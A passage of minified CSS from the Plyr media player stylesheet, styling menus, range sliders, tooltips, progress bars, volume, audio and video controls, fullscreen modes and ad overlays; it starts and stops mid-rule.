rgba(0,0,0,.15);box-shadow:var(--plyr-menu-shadow,0 1px 2px rgba(0,0,0,.15));color:#4a5464;color:var(--plyr-menu-color,#4a5464);font-size:15px;font-size:var(--plyr-font-size-base,15px);margin-bottom:10px;position:absolute;right:-3px;text-align:left;white-space:nowrap;z-index:3}.plyr__menu__container>div{overflow:hidden;transition:height .35s cubic-bezier(.4,0,.2,1),width .35s cubic-bezier(.4,0,.2,1)}.plyr__menu__container::after{border:4px solid transparent;border:var(--plyr-menu-arrow-size,4px) solid transparent;border-top-color:rgba(255,255,255,.9);border-top-color:var(--plyr-menu-background,rgba(255,255,255,.9));content:'';height:0;position:absolute;right:calc(((18px / 2) + calc(10px * .7)) - (4px / 2));right:calc(((var(--plyr-control-icon-size,18px)/ 2) + calc(var(--plyr-control-spacing,10px) * .7)) - (var(--plyr-menu-arrow-size,4px)/ 2));top:100%;width:0}.plyr__menu__container [role=menu]{padding:calc(10px * .7);padding:calc(var(--plyr-control-spacing,10px) * .7)}.plyr__menu__container [role=menuitem],.plyr__menu__container [role=menuitemradio]{margin-top:2px}.plyr__menu__container [role=menuitem]:first-child,.plyr__menu__container [role=menuitemradio]:first-child{margin-top:0}.plyr__menu__container .plyr__control{align-items:center;color:#4a5464;color:var(--plyr-menu-color,#4a5464);display:flex;font-size:13px;font-size:var(--plyr-font-size-menu,var(--plyr-font-size-small,13px));padding-bottom:calc(calc(10px * .7)/ 1.5);padding-bottom:calc(calc(var(--plyr-control-spacing,10px) * .7)/ 1.5);padding-left:calc(calc(10px * .7) * 1.5);padding-left:calc(calc(var(--plyr-control-spacing,10px) * .7) * 1.5);padding-right:calc(calc(10px * .7) * 1.5);padding-right:calc(calc(var(--plyr-control-spacing,10px) * .7) * 1.5);padding-top:calc(calc(10px * .7)/ 1.5);padding-top:calc(calc(var(--plyr-control-spacing,10px) * .7)/ 1.5);-webkit-user-select:none;-ms-user-select:none;user-select:none;width:100%}.plyr__menu__container .plyr__control>span{align-items:inherit;display:flex;width:100%}.plyr__menu__container .plyr__control::after{border:4px solid transparent;border:var(--plyr-menu-item-arrow-size,4px) solid transparent;content:'';position:absolute;top:50%;transform:translateY(-50%)}.plyr__menu__container .plyr__control--forward{padding-right:calc(calc(10px * .7) * 4);padding-right:calc(calc(var(--plyr-control-spacing,10px) * .7) * 4)}.plyr__menu__container .plyr__control--forward::after{border-left-color:#728197;border-left-color:var(--plyr-menu-arrow-color,#728197);right:calc((calc(10px * .7) * 1.5) - 4px);right:calc((calc(var(--plyr-control-spacing,10px) * .7) * 1.5) - var(--plyr-menu-item-arrow-size,4px))}.plyr__menu__container .plyr__control--forward.plyr__tab-focus::after,.plyr__menu__container .plyr__control--forward:hover::after{border-left-color:currentColor}.plyr__menu__container .plyr__control--back{font-weight:400;font-weight:var(--plyr-font-weight-regular,400);margin:calc(10px * .7);margin:calc(var(--plyr-control-spacing,10px) * .7);margin-bottom:calc(calc(10px * .7)/ 2);margin-bottom:calc(calc(var(--plyr-control-spacing,10px) * .7)/ 2);padding-left:calc(calc(10px * .7) * 4);padding-left:calc(calc(var(--plyr-control-spacing,10px) * .7) * 4);position:relative;width:calc(100% - (calc(10px * .7) * 2));width:calc(100% - (calc(var(--plyr-control-spacing,10px) * .7) * 2))}.plyr__menu__container .plyr__control--back::after{border-right-color:#728197;border-right-color:var(--plyr-menu-arrow-color,#728197);left:calc((calc(10px * .7) * 1.5) - 4px);left:calc((calc(var(--plyr-control-spacing,10px) * .7) * 1.5) - var(--plyr-menu-item-arrow-size,4px))}.plyr__menu__container .plyr__control--back::before{background:#dcdfe5;background:var(--plyr-menu-back-border-color,#dcdfe5);box-shadow:0 1px 0 #fff;box-shadow:0 1px 0 var(--plyr-menu-back-border-shadow-color,#fff);content:'';height:1px;left:0;margin-top:calc(calc(10px * .7)/ 2);margin-top:calc(calc(var(--plyr-control-spacing,10px) * .7)/ 2);overflow:hidden;position:absolute;right:0;top:100%}.plyr__menu__container .plyr__control--back.plyr__tab-focus::after,.plyr__menu__container .plyr__control--back:hover::after{border-right-color:currentColor}.plyr__menu__container .plyr__control[role=menuitemradio]{padding-left:calc(10px * .7);padding-left:calc(var(--plyr-control-spacing,10px) * .7)}.plyr__menu__container .plyr__control[role=menuitemradio]::after,.plyr__menu__container .plyr__control[role=menuitemradio]::before{border-radius:100%}.plyr__menu__container .plyr__control[role=menuitemradio]::before{background:rgba(0,0,0,.1);content:'';display:block;flex-shrink:0;height:16px;margin-right:10px;margin-right:var(--plyr-control-spacing,10px);transition:all .3s ease;width:16px}.plyr__menu__container .plyr__control[role=menuitemradio]::after{background:#fff;border:0;height:6px;left:12px;opacity:0;top:50%;transform:translateY(-50%) scale(0);transition:transform .3s ease,opacity .3s ease;width:6px}.plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]::before{background:#00b3ff;background:var(--plyr-control-toggle-checked-background,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)))}.plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]::after{opacity:1;transform:translateY(-50%) scale(1)}.plyr__menu__container .plyr__control[role=menuitemradio].plyr__tab-focus::before,.plyr__menu__container .plyr__control[role=menuitemradio]:hover::before{background:rgba(35,40,47,.1)}.plyr__menu__container .plyr__menu__value{align-items:center;display:flex;margin-left:auto;margin-right:calc((calc(10px * .7) - 2) * -1);margin-right:calc((calc(var(--plyr-control-spacing,10px) * .7) - 2) * -1);overflow:hidden;padding-left:calc(calc(10px * .7) * 3.5);padding-left:calc(calc(var(--plyr-control-spacing,10px) * .7) * 3.5);pointer-events:none}.plyr--full-ui input[type=range]{-webkit-appearance:none;background:0 0;border:0;border-radius:calc(13px * 2);border-radius:calc(var(--plyr-range-thumb-height,13px) * 2);color:#00b3ff;color:var(--plyr-range-fill-background,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));display:block;height:calc((3px * 2) + 13px);height:calc((var(--plyr-range-thumb-active-shadow-width,3px) * 2) + var(--plyr-range-thumb-height,13px));margin:0;min-width:0;padding:0;transition:box-shadow .3s ease;width:100%}.plyr--full-ui input[type=range]::-webkit-slider-runnable-track{background:0 0;border:0;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px);-webkit-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-webkit-user-select:none;user-select:none;background-image:linear-gradient(to right,currentColor 0,transparent 0);background-image:linear-gradient(to right,currentColor var(--value,0),transparent var(--value,0))}.plyr--full-ui input[type=range]::-webkit-slider-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-webkit-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px);-webkit-appearance:none;margin-top:calc(((13px - 5px)/ 2) * -1);margin-top:calc(((var(--plyr-range-thumb-height,13px) - var(--plyr-range-track-height,5px))/ 2) * -1)}.plyr--full-ui input[type=range]::-moz-range-track{background:0 0;border:0;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px);-moz-transition:box-shadow .3s ease;transition:box-shadow .3s ease;user-select:none}.plyr--full-ui input[type=range]::-moz-range-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-moz-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px)}.plyr--full-ui input[type=range]::-moz-range-progress{background:currentColor;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px)}.plyr--full-ui input[type=range]::-ms-track{background:0 0;border:0;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px);-ms-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-ms-user-select:none;user-select:none;color:transparent}.plyr--full-ui input[type=range]::-ms-fill-upper{background:0 0;border:0;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px);-ms-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-ms-user-select:none;user-select:none}.plyr--full-ui input[type=range]::-ms-fill-lower{background:0 0;border:0;border-radius:calc(5px / 2);border-radius:calc(var(--plyr-range-track-height,5px)/ 2);height:5px;height:var(--plyr-range-track-height,5px);-ms-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-ms-user-select:none;user-select:none;background:currentColor}.plyr--full-ui input[type=range]::-ms-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-ms-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px);margin-top:0}.plyr--full-ui input[type=range]::-ms-tooltip{display:none}.plyr--full-ui input[type=range]:focus{outline:0}.plyr--full-ui input[type=range]::-moz-focus-outer{border:0}.plyr--full-ui input[type=range].plyr__tab-focus::-webkit-slider-runnable-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr--full-ui input[type=range].plyr__tab-focus::-moz-range-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr--full-ui input[type=range].plyr__tab-focus::-ms-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr__poster{background-color:#000;background-position:50% 50%;background-repeat:no-repeat;background-size:contain;height:100%;left:0;opacity:0;position:absolute;top:0;transition:opacity .2s ease;width:100%;z-index:1}.plyr--stopped.plyr__poster-enabled .plyr__poster{opacity:1}.plyr__time{font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px))}.plyr__time+.plyr__time::before{content:'\\2044';margin-right:10px;margin-right:var(--plyr-control-spacing,10px)}@media (max-width:calc(768px - 1px)){.plyr__time+.plyr__time{display:none}}.plyr__tooltip{background:rgba(255,255,255,.9);background:var(--plyr-tooltip-background,rgba(255,255,255,.9));border-radius:3px;border-radius:var(--plyr-tooltip-radius,3px);bottom:100%;box-shadow:0 1px 2px rgba(0,0,0,.15);box-shadow:var(--plyr-tooltip-shadow,0 1px 2px rgba(0,0,0,.15));color:#4a5464;color:var(--plyr-tooltip-color,#4a5464);font-size:13px;font-size:var(--plyr-font-size-small,13px);font-weight:400;font-weight:var(--plyr-font-weight-regular,400);left:50%;line-height:1.3;margin-bottom:calc(calc(10px / 2) * 2);margin-bottom:calc(calc(var(--plyr-control-spacing,10px)/ 2) * 2);opacity:0;padding:calc(10px / 2) calc(calc(10px / 2) * 1.5);padding:calc(var(--plyr-control-spacing,10px)/ 2) calc(calc(var(--plyr-control-spacing,10px)/ 2) * 1.5);pointer-events:none;position:absolute;transform:translate(-50%,10px) scale(.8);transform-origin:50% 100%;transition:transform .2s .1s ease,opacity .2s .1s ease;white-space:nowrap;z-index:2}.plyr__tooltip::before{border-left:4px solid transparent;border-left:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-right:4px solid transparent;border-right:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-top:4px solid rgba(255,255,255,.9);border-top:var(--plyr-tooltip-arrow-size,4px) solid var(--plyr-tooltip-background,rgba(255,255,255,.9));bottom:calc(4px * -1);bottom:calc(var(--plyr-tooltip-arrow-size,4px) * -1);content:'';height:0;left:50%;position:absolute;transform:translateX(-50%);width:0;z-index:2}.plyr .plyr__control.plyr__tab-focus .plyr__tooltip,.plyr .plyr__control:hover .plyr__tooltip,.plyr__tooltip--visible{opacity:1;transform:translate(-50%,0) scale(1)}.plyr .plyr__control:hover .plyr__tooltip{z-index:3}.plyr__controls>.plyr__control:first-child .plyr__tooltip,.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip{left:0;transform:translate(0,10px) scale(.8);transform-origin:0 100%}.plyr__controls>.plyr__control:first-child .plyr__tooltip::before,.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip::before{left:calc((18px / 2) + calc(10px * .7));left:calc((var(--plyr-control-icon-size,18px)/ 2) + calc(var(--plyr-control-spacing,10px) * .7))}.plyr__controls>.plyr__control:last-child .plyr__tooltip{left:auto;right:0;transform:translate(0,10px) scale(.8);transform-origin:100% 100%}.plyr__controls>.plyr__control:last-child .plyr__tooltip::before{left:auto;right:calc((18px / 2) + calc(10px * .7));right:calc((var(--plyr-control-icon-size,18px)/ 2) + calc(var(--plyr-control-spacing,10px) * .7));transform:translateX(50%)}.plyr__controls>.plyr__control:first-child .plyr__tooltip--visible,.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip--visible,.plyr__controls>.plyr__control:first-child+.plyr__control.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:first-child+.plyr__control:hover .plyr__tooltip,.plyr__controls>.plyr__control:first-child.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:first-child:hover .plyr__tooltip,.plyr__controls>.plyr__control:last-child .plyr__tooltip--visible,.plyr__controls>.plyr__control:last-child.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:last-child:hover .plyr__tooltip{transform:translate(0,0) scale(1)}.plyr__progress{left:calc(13px * .5);left:calc(var(--plyr-range-thumb-height,13px) * .5);margin-right:13px;margin-right:var(--plyr-range-thumb-height,13px);position:relative}.plyr__progress input[type=range],.plyr__progress__buffer{margin-left:calc(13px * -.5);margin-left:calc(var(--plyr-range-thumb-height,13px) * -.5);margin-right:calc(13px * -.5);margin-right:calc(var(--plyr-range-thumb-height,13px) * -.5);width:calc(100% + 13px);width:calc(100% + var(--plyr-range-thumb-height,13px))}.plyr__progress input[type=range]{position:relative;z-index:2}.plyr__progress .plyr__tooltip{font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px));left:0}.plyr__progress__buffer{-webkit-appearance:none;background:0 0;border:0;border-radius:100px;height:5px;height:var(--plyr-range-track-height,5px);left:0;margin-top:calc((5px / 2) * -1);margin-top:calc((var(--plyr-range-track-height,5px)/ 2) * -1);padding:0;position:absolute;top:50%}.plyr__progress__buffer::-webkit-progress-bar{background:0 0}.plyr__progress__buffer::-webkit-progress-value{background:currentColor;border-radius:100px;min-width:5px;min-width:var(--plyr-range-track-height,5px);-webkit-transition:width .2s ease;transition:width .2s ease}.plyr__progress__buffer::-moz-progress-bar{background:currentColor;border-radius:100px;min-width:5px;min-width:var(--plyr-range-track-height,5px);-moz-transition:width .2s ease;transition:width .2s ease}.plyr__progress__buffer::-ms-fill{border-radius:100px;-ms-transition:width .2s ease;transition:width .2s ease}.plyr--loading .plyr__progress__buffer{animation:plyr-progress 1s linear infinite;background-image:linear-gradient(-45deg,rgba(35,40,47,.6) 25%,transparent 25%,transparent 50%,rgba(35,40,47,.6) 50%,rgba(35,40,47,.6) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 25%,transparent 25%,transparent 50%,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 50%,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 75%,transparent 75%,transparent);background-repeat:repeat-x;background-size:25px 25px;background-size:var(--plyr-progress-loading-size,25px) var(--plyr-progress-loading-size,25px);color:transparent}.plyr--video.plyr--loading .plyr__progress__buffer{background-color:rgba(255,255,255,.25);background-color:var(--plyr-video-progress-buffered-background,rgba(255,255,255,.25))}.plyr--audio.plyr--loading .plyr__progress__buffer{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6))}.plyr__volume{align-items:center;display:flex;max-width:110px;min-width:80px;position:relative;width:20%}.plyr__volume input[type=range]{margin-left:calc(10px / 2);margin-left:calc(var(--plyr-control-spacing,10px)/ 2);margin-right:calc(10px / 2);margin-right:calc(var(--plyr-control-spacing,10px)/ 2);position:relative;z-index:2}.plyr--is-ios .plyr__volume{min-width:0;width:auto}.plyr--audio{display:block}.plyr--audio .plyr__controls{background:#fff;background:var(--plyr-audio-controls-background,#fff);border-radius:inherit;color:#4a5464;color:var(--plyr-audio-control-color,#4a5464);padding:10px;padding:var(--plyr-control-spacing,10px)}.plyr--audio .plyr__control.plyr__tab-focus,.plyr--audio .plyr__control:hover,.plyr--audio .plyr__control[aria-expanded=true]{background:#00b3ff;background:var(--plyr-audio-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));color:#fff;color:var(--plyr-audio-control-color-hover,#fff)}.plyr--full-ui.plyr--audio input[type=range]::-webkit-slider-runnable-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]::-moz-range-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]::-ms-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]:active::-webkit-slider-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--full-ui.plyr--audio input[type=range]:active::-moz-range-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--full-ui.plyr--audio input[type=range]:active::-ms-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--audio .plyr__progress__buffer{color:rgba(193,200,209,.6);color:var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6))}.plyr--video{background:#000;overflow:hidden}.plyr--video.plyr--menu-open{overflow:visible}.plyr__video-wrapper{background:#000;height:100%;margin:auto;overflow:hidden;position:relative;width:100%}.plyr__video-embed,.plyr__video-wrapper--fixed-ratio{height:0;padding-bottom:56.25%}.plyr__video-embed iframe,.plyr__video-wrapper--fixed-ratio video{border:0;left:0;position:absolute;top:0}.plyr--full-ui .plyr__video-embed>.plyr__video-embed__container{padding-bottom:240%;position:relative;transform:translateY(-38.28125%)}.plyr--video .plyr__controls{background:linear-gradient(rgba(0,0,0,0),rgba(0,0,0,.75));background:var(--plyr-video-controls-background,linear-gradient(rgba(0,0,0,0),rgba(0,0,0,.75)));border-bottom-left-radius:inherit;border-bottom-right-radius:inherit;bottom:0;color:#fff;color:var(--plyr-video-control-color,#fff);left:0;padding:calc(10px / 2);padding:calc(var(--plyr-control-spacing,10px)/ 2);padding-top:calc(10px * 2);padding-top:calc(var(--plyr-control-spacing,10px) * 2);position:absolute;right:0;transition:opacity .4s ease-in-out,transform .4s ease-in-out;z-index:3}@media (min-width:480px){.plyr--video .plyr__controls{padding:10px;padding:var(--plyr-control-spacing,10px);padding-top:calc(10px * 3.5);padding-top:calc(var(--plyr-control-spacing,10px) * 3.5)}}.plyr--video.plyr--hide-controls .plyr__controls{opacity:0;pointer-events:none;transform:translateY(100%)}.plyr--video .plyr__control.plyr__tab-focus,.plyr--video .plyr__control:hover,.plyr--video .plyr__control[aria-expanded=true]{background:#00b3ff;background:var(--plyr-video-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));color:#fff;color:var(--plyr-video-control-color-hover,#fff)}.plyr__control--overlaid{background:#00b3ff;background:var(--plyr-video-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));border:0;border-radius:100%;color:#fff;color:var(--plyr-video-control-color,#fff);display:none;left:50%;opacity:.9;padding:calc(10px * 1.5);padding:calc(var(--plyr-control-spacing,10px) * 1.5);position:absolute;top:50%;transform:translate(-50%,-50%);transition:.3s;z-index:2}.plyr__control--overlaid svg{left:2px;position:relative}.plyr__control--overlaid:focus,.plyr__control--overlaid:hover{opacity:1}.plyr--playing .plyr__control--overlaid{opacity:0;visibility:hidden}.plyr--full-ui.plyr--video .plyr__control--overlaid{display:block}.plyr--full-ui.plyr--video input[type=range]::-webkit-slider-runnable-track{background-color:rgba(255,255,255,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,rgba(255,255,255,.25)))}.plyr--full-ui.plyr--video input[type=range]::-moz-range-track{background-color:rgba(255,255,255,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,rgba(255,255,255,.25)))}.plyr--full-ui.plyr--video input[type=range]::-ms-track{background-color:rgba(255,255,255,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,rgba(255,255,255,.25)))}.plyr--full-ui.plyr--video input[type=range]:active::-webkit-slider-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(255,255,255,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(255,255,255,.5))}.plyr--full-ui.plyr--video input[type=range]:active::-moz-range-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(255,255,255,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(255,255,255,.5))}.plyr--full-ui.plyr--video input[type=range]:active::-ms-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(255,255,255,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(255,255,255,.5))}.plyr--video .plyr__progress__buffer{color:rgba(255,255,255,.25);color:var(--plyr-video-progress-buffered-background,rgba(255,255,255,.25))}.plyr:-webkit-full-screen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-ms-fullscreen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:fullscreen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-webkit-full-screen video{height:100%}.plyr:-ms-fullscreen video{height:100%}.plyr:fullscreen video{height:100%}.plyr:-webkit-full-screen .plyr__video-wrapper{height:100%;position:static}.plyr:-ms-fullscreen .plyr__video-wrapper{height:100%;position:static}.plyr:fullscreen .plyr__video-wrapper{height:100%;position:static}.plyr:-webkit-full-screen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-ms-fullscreen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:fullscreen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen{display:block}.plyr:fullscreen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:fullscreen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-webkit-full-screen.plyr--hide-controls{cursor:none}.plyr:-ms-fullscreen.plyr--hide-controls{cursor:none}.plyr:fullscreen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-webkit-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}.plyr:-ms-fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}.plyr:fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-webkit-full-screen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-webkit-full-screen video{height:100%}.plyr:-webkit-full-screen .plyr__video-wrapper{height:100%;position:static}.plyr:-webkit-full-screen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-webkit-full-screen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-webkit-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-moz-full-screen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-moz-full-screen video{height:100%}.plyr:-moz-full-screen .plyr__video-wrapper{height:100%;position:static}.plyr:-moz-full-screen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-moz-full-screen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-moz-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-ms-fullscreen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-ms-fullscreen video{height:100%}.plyr:-ms-fullscreen .plyr__video-wrapper{height:100%;position:static}.plyr:-ms-fullscreen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-ms-fullscreen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-ms-fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr--fullscreen-fallback{background:#000;border-radius:0!important;height:100%;margin:0;width:100%;bottom:0;display:block;left:0;position:fixed;right:0;top:0;z-index:10000000}.plyr--fullscreen-fallback video{height:100%}.plyr--fullscreen-fallback .plyr__video-wrapper{height:100%;position:static}.plyr--fullscreen-fallback.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen{display:block}.plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr--fullscreen-fallback.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr--fullscreen-fallback .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr__ads{border-radius:inherit;bottom:0;cursor:pointer;left:0;overflow:hidden;position:absolute;right:0;top:0;z-index:-1}.plyr__ads>div,.plyr__ads>div iframe{height:100%;position:absolute;width:100%}.plyr__ads::after{background:#23282f;border-radius:2px;bottom:10px;bottom:var(--plyr-control-spacing,10px);color:#fff;content:attr(data-badge-text);font-size:11px;padding:2px 6px;pointer-events:none;position:absolute;right:10px;right:var(--plyr-control-spacing,10px);z-index:3}.plyr__ads::after:empty{display:none}.plyr__cues{background:currentColor;display:block;height:5px;height:var(--plyr-range-track-height,5px);left:0;margin:-var(--plyr-range-track-height,5px)/2 0 0;opacity:.8;position:absolute;top:50%;width:3px;z-index:3}.plyr__preview-thumb{background-color:rgba(255,255,255,.9);background-color:var(--plyr-tooltip-background,rgba(255,255,255,.9));border-radius:3px;bottom:100%;box-shadow:0 1px 2px rgba(0,0,0,.15);box-shadow:var(--plyr-tooltip-shadow,0 1px 2px rgba(0,0,0,.15));margin-bottom:calc(calc(10px / 2) * 2);margin-bottom:calc(calc(var(--plyr-control-spacing,10px)/ 2) * 2);opacity:0;padding:3px;padding:var(--plyr-tooltip-radius,3px);pointer-events:none;position:absolute;transform:translate(0,10px) scale(.8);transform-origin:50% 100%;transition:transform .2s .1s 